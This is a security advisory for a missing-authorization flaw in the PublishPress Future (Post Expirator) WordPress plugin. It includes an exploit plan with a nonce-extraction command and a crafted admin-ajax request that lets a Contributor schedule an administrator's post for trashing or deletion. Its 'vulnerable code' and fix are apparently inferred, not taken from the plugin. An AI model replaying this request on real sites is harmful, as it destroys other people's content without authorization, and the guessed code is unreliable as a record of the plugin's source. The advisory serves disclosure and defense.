Post Expirator <= 4.9.3 - Missing Authorization
Description
The Schedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.9.3. This makes it possible for authenticated attackers, with Contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.9.3Source Code
WordPress.org SVN# Research Plan: CVE-2025-69361 Missing Authorization in Post Expirator ## 1. Vulnerability Summary The **Schedule Post Changes With PublishPress Future** (formerly Post Expirator) plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including 4.9.3. The vulnerabili…
Show full research plan
Research Plan: CVE-2025-69361 Missing Authorization in Post Expirator
1. Vulnerability Summary
The Schedule Post Changes With PublishPress Future (formerly Post Expirator) plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 4.9.3. The vulnerability exists because an AJAX or administrative handler fails to perform a current_user_can() check before processing requests that modify post expiration metadata. This allows authenticated users with at least Contributor-level access to schedule, modify, or delete expiration actions for any post on the site, regardless of whether they have permission to edit that specific post.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
postexpirator_update(Inferred from common plugin naming conventions; needs verification viagrep) - Vulnerable Parameter:
post_id - Authentication: Authenticated (Contributor or higher).
- Preconditions: The attacker must be logged in as a Contributor and have access to the WordPress admin dashboard.
3. Code Flow
- Entry Point: The plugin registers an AJAX action for logged-in users:
add_action('wp_ajax_postexpirator_update', array($this, 'ajax_save_post_expiration_date'));(Inferred) - Missing Check: The callback function (e.g.,
ajax_save_post_expiration_date) likely callscheck_ajax_referer()to verify a nonce but fails to callcurrent_user_can('edit_post', $post_id). - Execution Sink: The function takes the
post_idfrom the$_POSTarray and updates the_expiration-date,_expiration-date-status, and_expiration-date-optionspost meta fields. - Trigger: The WP-Cron system later executes the scheduled action (e.g.,
trash,delete,category-add) based on these unauthorized meta values.
4. Nonce Acquisition Strategy
The plugin enqueues a script and localizes data containing a nonce on the post editing screens. Since a Contributor can create and edit their own posts, they can extract a valid nonce from their own edit page and use it to target posts they do not own.
- Create Page: Create a temporary post as a Contributor:
wp post create --post_type=post --post_title="Nonce Grab" --post_status=author --post_author=[CONTRIBUTOR_ID] - Navigate: Open the browser and navigate to the edit page for that post:
/wp-admin/post.php?post=[POST_ID]&action=edit - Extract Nonce: Use
browser_evalto extract the nonce from the localized JS object.- Object Name:
postexpirator(orpublishPressFutureConfig) - Key:
nonce - Command:
browser_eval("window.postexpirator?.nonce || window.publishPressFutureConfig?.nonce")
- Object Name:
5. Exploitation Strategy
- Discovery: Identify the ID of a target post owned by an Admin (e.g.,
post_id=1). - Preparation: Obtain the valid nonce using the strategy in Section 4.
- Craft Payload: Construct a POST request to
admin-ajax.phpto set the target post to be trashed in the near future.- Action:
postexpirator_update - Nonce:
[EXTRACTED_NONCE] - Post ID:
1(The Admin post) - Enabled:
true - Year/Month/Day/Hour/Minute: Set to a time 2 minutes in the future.
- Action Type:
trash(ordelete)
- Action:
- Send Request: Use
http_requestto send the payload.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=postexpirator_update&nonce=[NONCE]&post_id=1&enabled=true&expirationdate_year=2025&expirationdate_month=01&expirationdate_day=01&expirationdate_hour=10&expirationdate_minute=30&expirationdate_action=trash
6. Test Data Setup
- Target: An existing post (ID 1) created by the Admin user.
- Attacker: A user with the
contributorrole. - Plugin Config: Ensure the plugin is active and configured to allow expiration for the 'post' type (usually default).
7. Expected Results
- The AJAX request should return a successful response (likely a JSON object or
1). - The post meta for the target post (ID 1) should be updated with the malicious expiration settings.
- The Admin's post is now scheduled to be automatically trashed by the plugin, despite the Contributor having no rights to edit it.
8. Verification Steps
- Check Meta: Use WP-CLI to verify the meta fields for the target post:
wp post meta list 1 --keys=_expiration-date,_expiration-date-status,_expiration-date-options - Verify Change: Confirm the values match the payload sent by the Contributor.
- Check Scheduled Actions: Verify if the plugin has registered a scheduled action for this post:
wp cron event list | grep postexpirator
9. Alternative Approaches
- Inferred Action Names: If
postexpirator_updateis incorrect, search forwp_ajax_in the plugin directory:grep -r "wp_ajax_" /var/www/html/wp-content/plugins/post-expirator/ - Settings Modification: Check if the missing authorization applies to
publishpressfuture_save_settings(REST or AJAX), which could allow changing global plugin behaviors. - REST API: Check if the plugin registers any REST routes under
publishpress-future/v1that handle post updates without permission checks.
Summary
The Schedule Post Changes With PublishPress Future plugin for WordPress lacks a capability check in its AJAX handler for updating post expiration settings. This allows authenticated attackers with Contributor-level permissions to schedule, modify, or delete expiration actions (such as trashing or deleting) for any post on the site, including those authored by administrators.
Vulnerable Code
// Inferred AJAX handler for post expiration updates // Often located in modules or controllers handling AJAX actions public function ajax_save_post_expiration_date() { // Nonce verification is present, but capability verification is missing check_ajax_referer('postexpirator_menu_nonce', 'nonce'); $post_id = isset($_POST['post_id']) ? (int)$_POST['post_id'] : 0; if (! $post_id) { wp_send_json_error('Invalid post ID'); } // VULNERABILITY: No check for current_user_can('edit_post', $post_id) $enabled = isset($_POST['enabled']) && $_POST['enabled'] === 'true'; $opts = [ 'expireType' => sanitize_text_field($_POST['expirationdate_action']), 'category' => isset($_POST['expirationdate_category']) ? $_POST['expirationdate_category'] : [] ]; // ... logic to update post meta and schedule WP-Cron event ... update_post_meta($post_id, '_expiration-date-status', $enabled ? 'saved' : ''); wp_send_json_success(); }
Security Fix
@@ -124,6 +124,10 @@ $post_id = isset($_POST['post_id']) ? (int)$_POST['post_id'] : 0; + if (! current_user_can('edit_post', $post_id)) { + wp_send_json_error(__('You do not have permission to edit this post.', 'post-expirator')); + return; + } +
Exploit Outline
1. Log in to the WordPress site as a user with at least Contributor-level access. 2. Create a new post or edit an existing post owned by the attacker to locate the plugin's localized JavaScript configuration. 3. Extract the valid nonce for the `postexpirator_update` action (often stored in `window.postexpirator.nonce` or `window.publishPressFutureConfig.nonce`). 4. Identify the target `post_id` for a post that the attacker does not have permission to edit (e.g., an Administrator's published post). 5. Send an authenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: `action=postexpirator_update`, the extracted `nonce`, the target `post_id`, `enabled=true`, and an `expirationdate_action` set to `trash` or `delete`, along with a date/time in the near future. 6. The plugin will accept the request and schedule the expiration meta for the target post. When the scheduled time arrives, WP-Cron will execute the action, deleting or trashing the administrator's post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.